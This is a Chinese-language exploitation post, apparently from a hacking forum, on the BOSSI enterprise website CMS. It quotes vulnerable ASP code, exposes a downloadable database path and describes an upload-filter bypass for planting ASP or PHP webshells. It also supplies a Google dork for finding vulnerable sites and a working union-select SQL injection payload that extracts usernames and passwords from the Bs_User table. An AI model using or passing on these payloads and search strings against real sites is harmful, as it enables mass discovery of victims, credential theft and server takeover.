BOSSI 公司企业网站管理系统注入&上传漏洞利用
让不懂编写网页的人也可以有自己的公司(企业)网站，基本资料都在后台管理添加修改,网站的标题、地址、版权、公司邮局、收藏等资料可以在后台的"公司资料"里管理<p style="LINE-HEIGHT: normal">----------------------------------------------------<br />漏洞一：注入漏洞，</p>
<p style="LINE-HEIGHT: normal">漏洞页面：NewsInfo.asp，</p>
<p style="LINE-HEIGHT: normal">漏洞代码：if not isEmpty(request.QueryString("id")) then<br />id=request.QueryString("id")<br />else<br />id=1<br />end if</p>
<p style="LINE-HEIGHT: normal">Set rs = Server.CreateObject("ADODB.Recordset")<br />rs.Open "Select * From Conews where id="&id, conn,3,3<br />'纪录访问次数<br />rs("counter")=rs("counter")+1<br />rs.update<br />nCounter=rs("counter")</p>
<p style="LINE-HEIGHT: normal">id变量未处理直接代入sql查询，可注射，用啊d就行</p>
<p style="LINE-HEIGHT: normal">页面二：yeNewsInfo.asp</p>
<p style="LINE-HEIGHT: normal">漏洞代码：<%<br />if not isEmpty(request.QueryString("id")) then<br />id=request.QueryString("id")<br />else<br />id=1<br />end if</p>
<p style="LINE-HEIGHT: normal">Set rs = Server.CreateObject("ADODB.Recordset")<br />rs.Open "Select * From Yenews where id="&id, conn,3,3<br />'纪录访问次数<br />rs("counter")=rs("counter")+1<br />rs.update<br />nCounter=rs("counter")<br />'定义内容<br />content=ubbcode(rs("content"))<br />%></p>
<p style="LINE-HEIGHT: normal">原理同上，可注入。</p>
<p style="LINE-HEIGHT: normal">漏洞二：数据库下载漏洞</p>
<p style="LINE-HEIGHT: normal">数据库地址：Database/DataShop.mdb</p>
<p style="LINE-HEIGHT: normal">为建立放下载表，可任意下载！</p>
<p style="LINE-HEIGHT: normal">漏洞三：上传漏洞</p>
<p style="LINE-HEIGHT: normal">漏洞页面：upfile.asp ，upfilea.asp</p>
<p style="LINE-HEIGHT: normal">问题代码：fileExt=lcase(file.FileExt)<br /> Forumupload=split(UpFileType,"|")<br /> for i=0 to ubound(Forumupload)<br /> if fileEXT=trim(Forumupload(i)) then<br /> EnableUpload=true<br /> exit for<br /> end if<br /> next<br /> if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then<br /> EnableUpload=false<br /> end if<br /> if EnableUpload=false then<br /> msg="这种文件类型不允许上传！\n\n只允许上传这几种文件类型：" & UpFileType<br /> founderr=true<br /> end if</p>
<p style="LINE-HEIGHT: normal">和那个良精的上传漏洞一样，不知道是谁抄谁的代码了！注册用户，本地上传php的大马或者加空格过滤上传asp大马，具体方法我就不说了，在浅析良精企业网站管理程序一文中提到过了！不再赘述！</p>
<p style="LINE-HEIGHT: normal">漏洞利用：注入，Google：inurl:yeNewsInfo.asp?Id</p>
<p style="LINE-HEIGHT: normal">注入语句：%20and%201=2%20union%20select%201,username,3,4,password%20from%20Bs_User</p>
<p style="LINE-HEIGHT: normal"> </p>
<p style="LINE-HEIGHT: normal"><img style="BORDER-RIGHT: rgb(23,97,147) 1px dashed; BORDER-TOP: rgb(23,97,147) 1px dashed; BORDER-LEFT: rgb(23,97,147) 1px dashed; WIDTH: 423px; CURSOR: pointer; LINE-HEIGHT: normal; BORDER-BOTTOM: rgb(23,97,147) 1px dashed" alt="" src="https://img.jbzj.com/do/uploads/allimg/111228/1714070.jpg" small="0" /></p>
<p style="LINE-HEIGHT: normal">或者啊d：需要手动添加表段：Bs_User</p>
<p style="LINE-HEIGHT: normal"><img style="BORDER-RIGHT: rgb(23,97,147) 1px dashed; BORDER-TOP: rgb(23,97,147) 1px dashed; BORDER-LEFT: rgb(23,97,147) 1px dashed; WIDTH: 536px; CURSOR: pointer; LINE-HEIGHT: normal; BORDER-BOTTOM: rgb(23,97,147) 1px dashed" alt="" src="https://img.jbzj.com/do/uploads/allimg/111228/1714071.jpg" small="0" /></p>
<p style="LINE-HEIGHT: normal">数据库漏洞利用：</p>
<p style="LINE-HEIGHT: normal">挖掘机：关键字：inurl:yeNewsInfo.asp?Id</p>
<p style="LINE-HEIGHT: normal">后缀：Database/DataShop.mdb</p>
<p style="LINE-HEIGHT: normal"><img style="BORDER-RIGHT: rgb(23,97,147) 1px dashed; BORDER-TOP: rgb(23,97,147) 1px dashed; BORDER-LEFT: rgb(23,97,147) 1px dashed; CURSOR: pointer; LINE-HEIGHT: normal; BORDER-BOTTOM: rgb(23,97,147) 1px dashed" alt="" src="https://img.jbzj.com/do/uploads/allimg/111228/1714072.jpg" small="0" /></p>
<p style="LINE-HEIGHT: normal">关于上传漏洞的利用我就不演示了，可参照 浅析良精企业网站管理系统漏洞 一文。</p>
頁:
[1]